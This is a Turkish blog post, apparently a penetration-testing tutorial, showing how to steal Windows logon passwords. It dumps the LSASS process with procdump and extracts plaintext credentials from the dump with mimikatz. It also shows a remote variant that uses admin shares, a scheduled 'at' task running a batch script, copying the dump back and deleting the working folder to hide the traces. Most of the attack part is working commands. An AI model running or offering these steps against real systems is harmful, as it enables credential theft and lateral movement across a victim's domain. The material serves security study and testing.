Mimikatz bir prosesin (içerisinde kimlik bilgileri barındıran LSASS.exe) içinden logon olmuş kullanıcıların parolalarını çekebilmektedir. Böylece oturum açılabilen ama AV gibi engelleyici sistemler yüzünden mimikatz/wce çalıştırılamayan makinelerde proses içerisinden bu kimlik bilgileri elde edilebilir. Bu aracın çalışma mekanizması ile ilgili ayrıntılı bilgi için bakınız:
http://www.agguvenligi.net/2013/09/wce-ve-mimikatz-ile-windows-parolasi-elde-edilmesi.html



Proses içerisinden parolaları elde edebilmek için öncelikle ele geçirilen kritik makineden LSASS prosesinin dump dosyası alınır:
Proses dump dosyasının alınması

Not: Ekran görüntüsünde de görüldüğü gibi, Şirket etki alanında bulunan bir sunucuda 3 kullanıcının (StandartKullanici1, YoneticiKullanici1, Administrator) bilgisayarda oturum açtığı görülmektedir.

Bu dosya bir yere kaydolur:
Dump dosyasının kaydedilmesi

Bu dump dosyası, RDP ile yerel disk paylaşımı yolu veya başka bir yol ile aynı mimariye sahip bir makineye alınır. Bu örnekte Windows Server 2008 R2 makineler kullanılmıştır. Bu makine üzerinde Mimikatz çalıştırılacağı için, makinenin sanal makine olması tercih edilir. Ayrıca mimikatz’ın çalışmasını engelleyen tüm sistemler devre dışı bırakılır.

Sanal makinede aşağıdaki uygulamalar hazır bulunmalıdır:

Bu iki uygulama ve alınan dump sanal makinede bir klasöre konulur.
Dump dosyası ve kullanılacak diğer araçların listelenmesi

Örnek olması açısından mimikatz uygulaması, bilgisayar adı "SRV" olan sanal sunucuda çalıştırılacaktır. Görüldüğü gibi, sadece oturumu açık olan Administrator kullanıcısının parolası (Test123) elde edilebilmektedir. Çalıştırılan komutlar aşağıdaki gibidir:
mimikatz
privilege::debug
sekurlsa::logonPasswords full
Mimikatz aracının standart kullanımı

Dump bilgisi alınan bilgisayarda oturum açmış olan kullanıcıların parola bilgilerini almak için sanal makinedeki LSASS prosesine, dump bilgisi alnan LSASS prosesi yazılacaktır. Daha sonra da yukarıdaki örneğe benzer olarak LSASS prosesine DLL enjeksiyonu gerçekleştirilerek proseste kayıtlı olan parola bilgileri alınacaktır. Bu amaçla, komut satırından hazırlanan klasöre gelinerek aşağıdaki komutlar çalıştırılır.
procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords
Dış sistemden alınan LSASS prosesinin içerisindeki bilgilerin iç sistemde elde edilmesi 

Böylece, oturum açmış olan kullanıcıların parola özetleri ve parolalarının açık hali elde edilir.
Parola bilgilerinin listelenmesi

Not: LSASS prosesi haricinde bir proses kullanıldığında aşağıdaki gibi hata mesajları alınabilmektedir.
ERROR kuhl_m_sekurlsa_acquireLSA ; Modules informations
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle of memory

Not: Dump alma işlemi, Exchange Server 2010 CAS/MBS rolüne sahip bir sunucuda gerçekleştirilirse, mail yollamak için bu sunucudan DC'ye  giden tüm kullanıcıların parolaları elde edilebilir. Bu sebeple, DC'ye erişimlerin yanında Exchange sunucuya erişimler de önem arz etmektedir.

LSASS Dump Dosyasının Uzak Makineden Alınması

Yukarıdaki adımlarda uzak makineye RDP gerçekleştirilerek dump dosyası alınmıştı. RDP, FW tarafından engellenmişse, yönetimsel paylaşımlar ve zamanlanmış görevler kullanılarak da bu işlemler gerçekleştirilebilir. Bu amaçla bir zamanlanmış görevin çalıştırılacağı bir betik (Procdump_Betik.bat) hazırlanır. Betik içeriği şu şekildedir:
@echo off
C:\Yeni_Klasor\procdump.exe -accepteula -ma lsass.exe C:\Yeni_Klasor\Hedef_LSASS.dmp
Bu betik çalıştığı makinede LSASS prosesinin dump'ını C:\Yeni_Klasor içerisine bir dosyaya atmaktadır.

Saldırganın makinesinin (SRV adlı / 192.168.100.102 IP adresli makine)  masaüstünde Test adlı bir klasörde bu betik, Procdump ve Mimikatz uygulamaları bulunmaktadır:
Uzak makinedeki LSASS prosesinin alınması için gerekli araçların listelenmesi

Saldırgan ele geçirdiği hedef makinenin (DC adlı / 192.168.100.101 IP adresli makine) C diskine Yeni_Klasör adlı bir dizin oluşturur. Bu amaçla kullanılan komutlar şu şekildedir:
net use \\192.168.100.101\C$ /user:Sirket\Saldirgan Deneme123?
dir \\192.168.100.101\C$
mkdir \\192.168.100.101\C$\Yeni_Klasor
Uzak makinenin diski ile map işleminin başlatılması
Daha sonra Procdump uygulaması ve betik hedef makineye kopyalanır.
copy C:\Users\Administrator\Desktop\Test\procdump.exe \\192.168.100.101\C$\Yeni_Klasor
copy C:\Users\Administrator\Desktop\Test\Procdump_Betik.bat \\192.168.100.101\C$\Yeni_Klasor
Uzak makineye Procdump aracının ve betiğin gönderilmesi

Not: Yukarıda gerçekleştirilen betiği ve uygulamayı karşı makineye gönderme işlemleri Run penceresi kullanılarak da görsel bir şekilde gerçekleştirilebilirdi.
Uzak makinenin diskine erişim için alternatif yol (Paylaşıma girilmesi)

Hedef sistemin saatine bakılır ve bir dakika sonrasında çalışacak şekilde bir zamanlanmış görev oluşturulur.
net time \\192.168.100.101
at \\192.168.100.101 10:32 C:\Yeni_Klasor\Procdump_Betik.bat
Betiği çalıştırmak için zamanlanmış görevin oluşturulması

Not:
Bu işlem yerine hedef makinede çalışacak şekilde PSExec aracı da kullanılabilirdi.

Zamanlanmış görev çalışması teyit edilir ve oluşan dump dosyası saldırgan makinesine kopyalanır. Kopyalama işlemi tamamlandıktan sonra, oluşturulan klasör silinir.
dir \\192.168.100.101\C$\Yeni_Klasor
copy \\192.168.100.101\C$\Yeni_Klasor\Hedef_LSASS.dmp Desktop\Test
dir Desktop\Test
rmdir /s \\192.168.100.101\C$\Yeni_Klasor
Oluşan dump dosyasının hedef sistemden alınması

Son durumda saldırganın Test klasöründeki dosyalar şu şekilde olur.
Elde edilen proses dump dosyasının ve diğer araçların listelenmesi

Daha önceden bahsedilen adımlar uygulanarak dump dosyasından kullanıcı ve parola bilgileri elde edilir. Kullanılan komutlar şu şekildedir:
mimikatz.exe
sekurlsa::minidump Hedef_LSASS.dmp
sekurlsa::logonPasswords
Hedef sistemden alınan proses dump dosyasından parolaların çekilmesi

0 comments:

Post a Comment

 
Top